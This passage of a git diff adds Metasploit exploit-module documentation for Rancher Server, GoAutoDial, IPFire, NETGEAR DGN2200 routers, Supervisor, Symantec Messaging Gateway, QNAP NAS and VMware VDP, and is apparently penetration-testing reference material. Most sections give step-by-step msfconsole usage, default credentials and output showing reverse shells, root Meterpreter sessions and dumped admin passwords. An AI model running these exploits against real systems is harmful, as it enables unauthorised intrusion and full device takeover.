+[*] Waiting for the cron job to run, can take up to 60 seconds
+[*] Waiting until the docker container stopped
+[*] The docker container has been stopped, now trying to remove it
+[*] Sending stage (40411 bytes) to 192.168.66.23
+[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
+[+] Deleted /etc/cron.d/lVoepNpy
+[+] Deleted /tmp/poasDIuZ
+
+
+meterpreter > sysinfo
+Computer        : debian
+OS              : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
+Architecture    : x64
+System Language : en_US
+Meterpreter     : python/linux
+meterpreter >
+```
+
+[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
+[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
+[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
+[4]:https://docs.docker.com/engine/admin/systemd/
+[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
+[6]:https://docs.docker.com/engine/security/https/
diff --git a/documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md b/documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md
new file mode 100644
index 0000000000..1fa529418e
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md
@@ -0,0 +1,85 @@
+## Description
+
+This module exploits a SQL injection flaw and command injection flaw within GoAutoDial CE 3.3, which permits authentication bypass and a complete compromise of the underlying system with root privileges. This module also extracts the administrative users password from the underlying database. 
+
+## Affected software
+
+GoAutoDial 3.3 CE (32bit and 64bit) is available for download from goautodial.org. In order to download, register a free account then download the bootable ISOs. Both ISOs have been used for the dev of this. http://goautodial.org/attachments/download/3237/goautodial-32bit-ce-3.3-final.iso.html
+Refer to: https://www.exploit-db.com/exploits/36807/
+
+NOTE: GoAutoDial heavily restricts inbound traffic via iptables rules (and uses fail2ban, as well).  This can cause bind payloads to quietly fail.  For bind payloads, using ports which allow inbound connections but have no service running is ideal (ports 21 and 222 fall into this category for default GoAutoDial behavior).
+
+## Verification
+
+- Start `msfconsole`
+- Do `use exploit/linux/http/goautodial_3_rce_command_injection`
+- Do `set RHOST <IP>`
+- Do `set LHOST <IP>`
+- Do `set LPORT <PORT>`
+- Do `run`
+- Wait for shell
+
+## Scenarios
+
+### Targeting 64-bit GoAutoDial
+
+```
+msf > use exploit/linux/http/goautodial_3_rce_command_injection
+msf exploit(goautodial_3_rce_command_injection) > set rhost 172.16.191.150
+rhost => 172.16.191.150
+msf exploit(goautodial_3_rce_command_injection) > check
+[+] 172.16.191.150:443 The target is vulnerable.
+msf exploit(goautodial_3_rce_command_injection) > set lhost 172.16.191.181
+lhost => 172.16.191.181
+msf exploit(goautodial_3_rce_command_injection) > run
+
+[*] Started reverse TCP handler on 172.16.191.181:4444 
+[*] 172.16.191.150:443 - Trying SQL injection...
+[+] 172.16.191.150:443 - Authentication Bypass (SQLi) was successful
+[*] 172.16.191.150:443 - Dumping admin password...
+[+] 172.16.191.150:443 - Found credentials: admin|goautodial|Admin|||Y
+[*] 172.16.191.150:443 - Sending payload...
+[*] Command Stager progress -  68.67% done (798/1162 bytes)
+[*] Sending stage (2854264 bytes) to 172.16.191.150
+[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.150:52876) at 2017-07-02 11:08:02 -0400
+[*] Command Stager progress - 100.00% done (1162/1162 bytes)
+
+meterpreter > getuid
+Server username: uid=0, gid=0, euid=0, egid=0
+meterpreter > sysinfo
+Computer     : go.goautodial.org
+OS           : CentOS 5.11 (Linux 2.6.18-407.el5)
+Architecture : x64
+Meterpreter  : x64/linux
+```
+
+### Targeting 32-bit GoAutoDial
+```
+msf > use exploit/linux/http/goautodial_3_rce_command_injection
+msf exploit(goautodial_3_rce_command_injection) > set lhost 10.0.2.4
+lhost => 10.0.2.4
+msf exploit(goautodial_3_rce_command_injection) > set rhost 10.0.2.44
+rhost => 10.0.2.44
+msf exploit(goautodial_3_rce_command_injection) > set payload linux/x86/meterpreter/reverse_tcp
+payload => linux/x86/meterpreter/reverse_tcp
+msf exploit(goautodial_3_rce_command_injection) > run
+
+[*] Started reverse TCP handler on 10.0.2.4:4444
+[*] 10.0.2.44:443 - Trying SQL injection...
+[+] 10.0.2.44:443 - Authentication Bypass (SQLi) was successful
+[*] 10.0.2.44:443 - Dumping admin password...
+[+] 10.0.2.44:443 - Found credentials: admin|newpassword|Admin|||Y
+[*] 10.0.2.44:443 - Sending payload...
+[*] Command Stager progress -  78.66% done (796/1012 bytes)
+[*] Sending stage (798104 bytes) to 10.0.2.44
+[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.44:49035) at 2017-07-07 15:49:48 -0500
+[*] Command Stager progress - 100.00% done (1012/1012 bytes)
+
+meterpreter > getuid
+Server username: uid=0, gid=0, euid=0, egid=0
+meterpreter > sysinfo
+Computer     : go.goautodial.org
+OS           : CentOS 5.10 (Linux 2.6.18-371.11.1.el5)
+Architecture : i686
+Meterpreter  : x86/linux
+```
diff --git a/documentation/modules/exploit/linux/http/ipfire_oinkcode_exec.md b/documentation/modules/exploit/linux/http/ipfire_oinkcode_exec.md
new file mode 100644
index 0000000000..c6ead925f9
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/ipfire_oinkcode_exec.md
@@ -0,0 +1,48 @@
+## Vulnerable Application
+
+  Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso)
+
+This module has been verified against:
+
+1. 2.19 core 100
+2. 2.19 core 110 (exploit-db, not metasploit module)
+
+## Verification Steps
+
+  1. Install the firewall
+  2. Start msfconsole
+  3. Do: ```use exploit/linux/http/ipfire_oinkcode_exec```
+  4. Do: ```set password admin``` or whatever it was set to at install
+  5. Do: ```set rhost 10.10.10.10```
+  6. Do: ```set payload cmd/unix/reverse_perl```
+  7. Do: ```set lhost 192.168.2.229```
+  8. Do: ```exploit```
+  9. You should get a shell.
+
+## Options
+
+  **PASSWORD**
+
+  Password is set at install.  May be blank, 'admin', or 'ipfire'.
+
+## Scenarios
+
+  ```
+    msf > use exploit/linux/http/ipfire_oinkcode_exec 
+    msf exploit(ipfire_oinkcode_exec) > set password admin
+    password => admin
+    msf exploit(ipfire_oinkcode_exec) > set rhost 192.168.2.201
+    rhost => 192.168.2.201
+    msf exploit(ipfire_oinkcode_exec) > set verbose true
+    verbose => true
+    msf exploit(ipfire_oinkcode_exec) > check
+    [*] 192.168.2.201:444 The target appears to be vulnerable.
+    msf exploit(ipfire_oinkcode_exec) > exploit
+    
+    [*] Started reverse TCP handler on 192.168.2.117:4444 
+    [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.201:38412) at 2017-06-14 21:12:21 -0400
+    id
+    uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
+    whoami
+    nobody
+  ```
\ No newline at end of file
diff --git a/documentation/modules/exploit/linux/http/logsign_exec.md b/documentation/modules/exploit/linux/http/logsign_exec.md
index c875dd0347..177a36b5bb 100644
--- a/documentation/modules/exploit/linux/http/logsign_exec.md
+++ b/documentation/modules/exploit/linux/http/logsign_exec.md
@@ -56,7 +56,7 @@ dns-nameservers 8.8.8.8
   1. Install the software as documented above
   2. Start `msfconsole`
   3. `use exploit/linux/http/logsign_exec`
-  4. `set rhost 12.0.0.10
+  4. `set rhost 12.0.0.10`
   6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
   7. `set LHOST 12.0.0.1`
   8. `check` and validate that you are seeing following output.
diff --git a/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md
new file mode 100644
index 0000000000..01af384ccc
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md
@@ -0,0 +1,86 @@
+## Vulnerable Application
+
+  NETGEAR DGN2200v1, DGN2200v2, DGN2200v3, DGN2200v4 routers
+
+## Verification Steps
+
+  1. start `msfconsole`
+  2. `use exploit/linux/http/netger_dnslookup_cmd_exec`
+  3. `set RHOST 192.168.1.1` `<--- Router IP`
+  4. `set USERNAME xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options))
+  5. `set PASSWORD xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options))
+  5. `set PAYLOAD cmd/unix/reverse_bash`
+  6. `set LHOST 192.168.1.x`
+  7. `set LPORT xxxx`
+  8. `run`
+  9. Get a session
+
+## Options
+
+  **USERNAME**
+
+  The `USERNAME` option sets the username to authenticate the request with.
+  The command injection will __not__ succeed if the username and password are not correct.
+  The default username for NETGEAR Routers is `admin`. If you don't know the credentials,
+  your best bet will be to use the default username and password.
+  
+  
+  **PASSWORD**
+  
+  The `PASSWORD`options sets the password to authenticate the request with.
+  The command injection will __not__ succeed if the username and password are not correct.
+  The default password for NETGEAR Routers is `password`. If you don't know the credentials,
+  your best bet will be to use the default username and password.
+  
+## Advanced Options
+  
+  **HOSTNAME**
+  
+  The request is went with a `host_name` POST parameter. This option sets this parameter. 
+  The default is `www.google.com`. The reason for the parameter is that the file that this
+  vulnerability is located in (`dnslookup.cgi`) actually needs a domain to resolve, or else 
+  the injection won't work.
+  
+
+## Scenarios
+
+  What it should look like against a vulnerable router.
+
+  ```
+msf > use exploit/linux/http/netgear_dnslookup_cmd_exec 
+msf exploit(netgear_dnslookup_cmd_exec) > options
+
+Module options (exploit/linux/http/netgear_dnslookup_cmd_exec):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   PASSWORD                   yes       Password to authenticate with
+   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOST                      yes       The target address
+   RPORT     80               yes       The target port (TCP)
+   SSL       false            no        Negotiate SSL/TLS for outgoing connections
+   USERNAME                   yes       Username to authenticate with
+   VHOST                      no        HTTP server virtual host
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   NETGEAR DDGN2200 Router
+
+
+msf exploit(netgear_dnslookup_cmd_exec) > set RHOST 192.168.1.1
+RHOST => 192.168.1.1
+msf exploit(netgear_dnslookup_cmd_exec) > set USERNAME admin
+USERNAME => admin
+msf exploit(netgear_dnslookup_cmd_exec) > set PASSWORD password
+PASSWORD => password
+msf exploit(netgear_dnslookup_cmd_exec) > run
+
+[*] Started reverse TCP double handler on 192.168.1.9:4444 
+[+] Router is a NETGEAR router (DGN2200v1)
+[*] Sending payload...
+[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.9:53352) at 2017-03-02 19:36:47 -0500
+```
+  
diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md
new file mode 100644
index 0000000000..8edc9376cb
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/rancher_server.md
@@ -0,0 +1,169 @@
+# Vulnerable Application
+Utilizing Rancher Server, an attacker can create a docker container
+with the '/' path mounted with read/write permissions on the host
+server that is running the docker container. As the docker container
+executes command as uid 0 it is honored by the host operating system
+allowing the attacker to edit/create files owned by root. This exploit
+abuses this to creates a cron job in the '/etc/cron.d/' path of the
+host server.
+
+The Docker image should exist on the target system or be a valid image
+from hub.docker.com.
+
+Use `check` with verbose mode to get a list of exploitable Rancher
+Hosts managed by the target system.
+
+## Rancher setup
+Rancher is deployed as a set of Docker containers. Running Rancher is
+as simple as launching two containers. One container as the management
+server and another container on a node as an agent.
+
+This module was tested with Debian 9 and CentOS 7 as the host operating
+system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with
+default installation.
+
+### Install Debian 9
+First [install Debian 9][1] with default task selection. This includes
+the "*standard system utilities*".
+
+### Install Docker CE
+Then install a supported version of [Docker on Debian system][2].
+
+```bash
+# TL;DR
+apt-get remove docker docker-engine
+apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
+curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
+apt-key fingerprint 0EBFCD88
+# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
+add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
+apt-get update
+apt-get install docker-ce
+docker run hello-world
+```
+
+### Rancher Server (Management)
+I recommend doing a ['Rancher Server - Single Container (NON-HA)'
+installation][3].
+
+If Docker is installed, the command to start a single instance of
+Rancher is simple.
+
+```bash
+# TL;DR
+sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server
+```
+
+If all is passing navigate to `http://[ip]:8080/`. You should see the
+Rancher Server UI web application.
+
+### Rancher Host (Agent)
+
+Add a [new host][4] to Rancher Server so that the Docker host can be managed.
+
+**Set Host Registration URL**
+
+The first time that you add a host, you may be required to set up the
+Host Registration URL.
+
+* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`)
+* Check if `"http://[ip]:8080/"` is set 
+* Click on Save.
+
+**Add new host**
+
+* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`)
+* Click on Add Host
+* Copy the command from Point 5 (and remove sudo prefix)
+  `docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX`
+* Paste and run the command on the host
+
+The new host should pop up on the Hosts screen within a minute.
+
+# Exploitation
+This module is designed to gain root access on a Rancher Host.
+
+## Options
+- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
+- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
+- TARGETENV this is the target Rancher Environment. The default environment is `1a5`.
+- TARGETHOST is the target Rancher Host. The default host is `1h1`.
+
+By default access control is disabled, but if enabled, you need API
+Keys with at least "restrictive" permission in the environment.
+See Rancher docs for [api-keys][5] and [membership-roles][6].
+
+- HttpUsername is for your Access Key
+- HttpPassword is for your Secret Key
+
+Advanced Options
+- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`.
+- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
+
+## Steps to exploit with module
+- [ ] Start msfconsole
+- [ ] use exploit/linux/http/rancher_server
+- [ ] Set the options appropriately and set VERBOSE to true
+- [ ] Verify it creates a docker container and it successfully runs 
+- [ ] After a minute a session should be opened from the agent server
+
+## Example Output
+```
+msf > use exploit/linux/http/rancher_server
+msf exploit(rancher_server) > set RHOST 192.168.91.111
+RHOST => 192.168.91.111
+msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
+PAYLOAD => linux/x64/meterpreter/reverse_tcp
+msf exploit(rancher_server) > set LHOST 192.168.91.1
+LHOST => 192.168.91.1
+msf exploit(rancher_server) > set VERBOSE true
+VERBOSE => true
+msf exploit(rancher_server) > check
+
+[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted
+[*] 192.168.91.111:8080 The target is vulnerable.
+msf exploit(rancher_server) > exploit
+
+[*] Started reverse TCP handler on 192.168.91.1:4444
+[*] Setting container json request variables
+[*] Creating the docker container command
+[+] The docker container is created, waiting for it to deploy
+[*] Waiting up to 60 seconds for docker container to start
+[+] The docker container has stopped, now trying to remove it
+[+] The docker container has been removed.
+[*] Waiting for the cron job to run, can take up to 60 seconds
+[*] Sending stage (40747 bytes) to 192.168.91.111
+[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200
+[+] Deleted /etc/cron.d/wlHVKGMA
+[+] Deleted /tmp/jxKUxUyN
+
+meterpreter > sysinfo
+Computer     : rancher
+OS           : Debian 9.1 (Linux 4.9.0-3-amd64)
+Architecture : x64
+Meterpreter  : x64/linux
+meterpreter >
+```
+## Exploit Detection
+Rancher Server has an [audit log][7]. While running this module two
+events (create and delete) were logged. Even though the container is 
+deleted, its still able to be viewed from the link in the audit log.
+
+## Mitigation
+* Do not deploy a Rancher Host on the same host where the Rancher
+  Server is. Your entire rancher infrastructure is in [danger][8].
+* Only allow trusted users to have more permissions than read-only.
+
+Docker protection such as Username Namespaces could not be applied
+because Rancher Agents run as a privileged container.
+
+
+[1]:https://www.debian.org/releases/stretch/amd64/index.html.en
+[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
+[3]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha
+[4]:https://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host
+[5]:https://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/
+[6]:https://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles
+[7]:https://rancher.com/docs/rancher/v1.6/en/rancher-services/audit-log/
+[8]:https://rancher.com/docs/rancher/v1.6/en/faqs/troubleshooting/#help-i-turned-on-access-controldocsrancherv16enconfigurationaccess-control-and-can-no-longer-access-rancher-how-do-i-reset-rancher-to-disable-access-control
+[9]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/selinux/
diff --git a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
new file mode 100644
index 0000000000..8b63cf55ec
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
@@ -0,0 +1,78 @@
+## Vulnerable Application
+
+  This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2
+  
+  This has been tested with versions 3.2.0 and 3.3.2
+
+### Creating A Testing Environment
+
+  At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories.
+
+  1. ```sudo apt-get install supervisor```
+  2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf`
+
+    ```
+    [inet_http_server]         ; inet (TCP) server disabled by default
+    port=:9001        ; ip_address:port specifier, *:port for all iface
+    username=user              ; default is no username (open server)
+    password=123               ; default is no password (open server)
+    ```
+
+  3. Restart the service: `sudo service supervisor restart`
+
+## Verification Steps
+
+  1. ```use exploit/linux/http/supervisor_xmlrpc_exec```
+  2. ```set lhost [IP]```
+  3. ```set rhost [IP]```
+  4. ```set httpusername user```
+  5. ```set httppassword 123```
+  6. ```exploit```
+  7. A meterpreter session should have been opened successfully
+
+## Options
+
+  **HttpUsername**
+
+  Username for HTTP basic auth which is set in the conf file(optional)
+
+  **HttpPassword**
+
+  Password for HTTP basic auth which is set in the conf file(optional)
+
+  **TARGETURI**
+
+  The path to the XML-RPC endpoint
+
+## Scenarios
+
+### Supervisor 3.2.0 on Xubuntu 16.04
+
+```
+msf > use exploit/linux/http/supervisor_xmlrpc_exec 
+msf exploit(supervisor_xmlrpc_exec) > set httpusername user
+httpusername => user
+msf exploit(supervisor_xmlrpc_exec) > set httppassword 123
+httppassword => 123
+msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2
+lhost => 192.168.0.2
+msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19
+rhost => 192.168.0.19
+msf exploit(supervisor_xmlrpc_exec) > check 
+
+[*] Extracting version from web interface..
+[*] Using basic auth (user:123)
+[+] Vulnerable version found: 3.2.0
+[*] 192.168.0.19:9001 The target appears to be vulnerable.
+msf exploit(supervisor_xmlrpc_exec) > exploit 
+
+[*] Started reverse TCP handler on 192.168.0.2:4444 
+[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2
+[*] Using basic auth (user:123)
+[*] Sending stage (2878872 bytes) to 192.168.0.19
+[*] Command Stager progress - 100.00% done (782/782 bytes)
+[+] Request timeout, usually indicates success. Passing to handler..
+[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100
+
+meterpreter > 
+```
diff --git a/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md b/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md
new file mode 100644
index 0000000000..2a690adebf
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md
@@ -0,0 +1,57 @@
+## Vulnerable Application
+
+This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
+terminal command under the context of the web server user which is root.
+
+backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
+operating system command. One of the user input is being passed to the service without proper validation. That cause an command
+injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
+command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
+
+**Vulnerable Application Installation Steps**
+
+Click on the "free trial" button at the following URL.
+[https://www.symantec.com/products/messaging-security/messaging-gateway](https://www.symantec.com/products/messaging-security/messaging-gateway)
+
+You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address
+
+## Verification Steps
+
+A successful check of the exploit will look like this:
+
+```
+msf > use exploit/linux/http/symantec_messaging_gateway_exec 
+msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199
+RHOST => 12.0.0.199
+msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1 
+LHOST => 12.0.0.1
+msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin
+USERNAME => admin
+msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123
+PASSWORD => qwe123
+msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15
+SSH_ADDRESS => 127.0.0.1
+msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root
+SSH_USERNAME => root
+msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor
+SSH_PASSWORD => qwe123
+msf exploit(symantec_messaging_gateway_exec) > run
+
+[*] Started reverse TCP handler on 12.0.0.1:4444 
+[*] Performing authentication...
+[+] Awesome..! Authenticated with admin:qwe123
+[*] Capturing CSRF token
+[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1
+[*] Sending stage (39842 bytes) to 12.0.0.199
+[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer        : hacker.dev
+OS              : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015
+Architecture    : x64
+System Language : en_US
+Meterpreter     : python/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/misc/qnap_transcode_server.md b/documentation/modules/exploit/linux/misc/qnap_transcode_server.md
new file mode 100644
index 0000000000..2c1abef17f
--- /dev/null
+++ b/documentation/modules/exploit/linux/misc/qnap_transcode_server.md
@@ -0,0 +1,62 @@
+## Description
+
+  This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command.
+
+
+## Vulnerable Application
+
+  [QNAP](https://www.qnap.com/) designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses.
+
+  This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727).
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use exploit/linux/misc/qnap_transcode_server`
+  3. Do: `set RHOST [IP]`
+  4. Do: `set LHOST [IP]`
+  5. Do: `run`
+  6. You should get a session
+
+
+## Options
+
+  **Delay**
+
+  How long to wait (in seconds) for the device to download the payload.
+
+
+## Scenarios
+
+  ```
+  msf > use exploit/linux/misc/qnap_transcode_server 
+  msf exploit(qnap_transcode_server) > set rhost 10.1.1.123
+  rhost => 10.1.1.123
+  msf exploit(qnap_transcode_server) > check
+  [*] 10.1.1.123:9251 The target service is running, but could not be validated.
+  msf exploit(qnap_transcode_server) > set lhost 10.1.1.197
+  lhost => 10.1.1.197
+  msf exploit(qnap_transcode_server) > run
+
+  [*] Started reverse TCP handler on 10.1.1.197:4444 
+  [*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm
+  [*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm
+  [*] 10.1.1.123:9251 - Sent command successfully (52 bytes)
+  [*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)...
+  [*] 10.1.1.123:9251 - Sent command successfully (22 bytes)
+  [*] 10.1.1.123:9251 - Sent command successfully (13 bytes)
+  [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400
+  [*] 10.1.1.123:9251 - Sent command successfully (19 bytes)
+  [*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes)
+  [*] 10.1.1.123:9251 - Server stopped.
+
+  meterpreter > getuid
+  Server username: uid=0, gid=0, euid=0, egid=0
+  meterpreter > sysinfo 
+  Computer     : 10.1.1.123
+  OS           :  (Linux 3.2.26)
+  Architecture : armv7l
+  Meterpreter  : armle/linux
+  ```
+
diff --git a/documentation/modules/exploit/linux/smtp/haraka.md b/documentation/modules/exploit/linux/smtp/haraka.md
index eafac68c8a..70fb385081 100644
--- a/documentation/modules/exploit/linux/smtp/haraka.md
+++ b/documentation/modules/exploit/linux/smtp/haraka.md
@@ -56,7 +56,7 @@
 ## Example Run
 
   ```
-msf > use exploit/linux/smtp/harakiri
+msf > use exploit/linux/smtp/haraka
 msf exploit(haraka) > set email_to root@haraka.test
 email_to => root@haraka.test
 msf exploit(haraka) > set payload linux/x64/meterpreter_reverse_http
diff --git a/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md
new file mode 100644
index 0000000000..a464e173d8
--- /dev/null
+++ b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md
@@ -0,0 +1,31 @@
+## Vulnerable Application
+
+  VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use exploit/linux/ssh/vmware_vdp_known_privkey`
+  3. Do: `set rhost 1.2.3.4`
+  4. Do: `exploit`
+  5. You should get a shell.
+  6. Type: `sudo -s` to become root user
+
+## Scenarios
+
+This is a run against a known vulnerable vSphere Data Protection appliance.  
+  
+```
+msf > use exploit/linux/ssh/vmware_vdp_known_privkey  
+msf exploit(vmware_vdp_known_privkey) > set rhost 1.2.3.4  
+rhost => 1.2.3.4  
+msf exploit(vmware_vdp_known_privkey) > run  
+  
+[+] Successful login  
+[*] Found shell.  
+[*] Command shell session 1 opened (1.2.3.5:34147 -> 1.2.3.4:22) at 2017-01-20 20:43:22 +0100  
+```
+
+## Further Information
+
+The default account of the appliance is root:changeme
diff --git a/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md b/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md
index d67d7475e5..84a84f8be7 100644
--- a/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md
+++ b/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md
@@ -21,6 +21,7 @@ Compatible Payloads
    Name                             Disclosure Date  Rank    Description
    ----                             ---------------  ----    -----------
    cmd/mainframe/apf_privesc_jcl                     normal  JCL to escalate privilages via APF LIB
+   cmd/mainframe/bind_shell_jcl                      normal  Z/OS (MVS) Command Shell, Bind TCP
    cmd/mainframe/generic_jcl                         normal  Generic JCL Test for Mainframe Exploits
    cmd/mainframe/reverse_shell_jcl                   normal  Z/OS (MVS) Command Shell, Reverse TCP
 ```
diff --git a/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md b/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md
index ac392d61ae..d4d8f3d801 100755
--- a/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md
+++ b/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md
@@ -17,7 +17,7 @@ This module exploits an use after free on Adobe Flash Player. The vulnerability,
 3. Do: ```set URIPATH / [PATH]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ### IE 11 and Flash 18.0.0.194
 
diff --git a/documentation/modules/exploit/multi/http/axis2_deployer.md b/documentation/modules/exploit/multi/http/axis2_deployer.md
index ac68a1fcb6..f03e1fd59e 100755
--- a/documentation/modules/exploit/multi/http/axis2_deployer.md
+++ b/documentation/modules/exploit/multi/http/axis2_deployer.md
@@ -17,7 +17,7 @@ The Apache Axis2 Web application has three main sections:'Services' lists all th
 4. Do: ```set PASSWORD [Password]```
 5. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ```
 msf > use exploit/multi/http/axis2_deployer
@@ -57,6 +57,4 @@ Meterpreter : java/java
 meterpreter > exit
 [*] Shutting down Meterpreter...
 
-[*] 10.10.155.37 - Meterpreter session 3 closed.  Reason: User exit
-
 ```
diff --git a/documentation/modules/exploit/multi/http/git_submodule_command_exec.md b/documentation/modules/exploit/multi/http/git_submodule_command_exec.md
new file mode 100644
index 0000000000..bb119f36cb
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/git_submodule_command_exec.md
@@ -0,0 +1,62 @@
+## Vulnerable Application
+
+  Git can be installed on a variety of operating systems, however
+  newer versions may contain the patch for this vulnerability.
+
+  On OSX it can be installed with the XCode command line tools:
+  ```xcode-select --install```
+  
+  On Linux it can be installed with apt:
